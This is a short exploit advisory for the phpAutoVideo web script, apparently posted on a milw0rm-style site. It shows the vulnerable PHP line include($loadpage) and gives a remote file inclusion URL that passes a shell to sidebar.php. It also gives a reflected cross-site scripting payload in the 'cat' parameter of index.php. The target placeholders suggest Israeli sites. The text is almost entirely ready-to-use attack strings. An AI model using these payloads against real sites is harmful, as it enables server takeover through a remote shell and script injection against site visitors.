[+] Vulnerable CODE :
<?PHP include($loadpage); ?>
[+] Exploit :
[Target.il]/[Path]/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=[SH3LL]
=> other RFI was found in this script for version 2.21 ( http://www.milw0rm.com/exploits/4782 )
%22%3E%3Cscript%3Ealert(1);%3C/script%3E
[Target.il]/[Path]/index.php?cat=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
[Target.il]/[Path]/index.php?cat=<br> XSS found by HouSSaMix and ToXiC350
=> works for all versions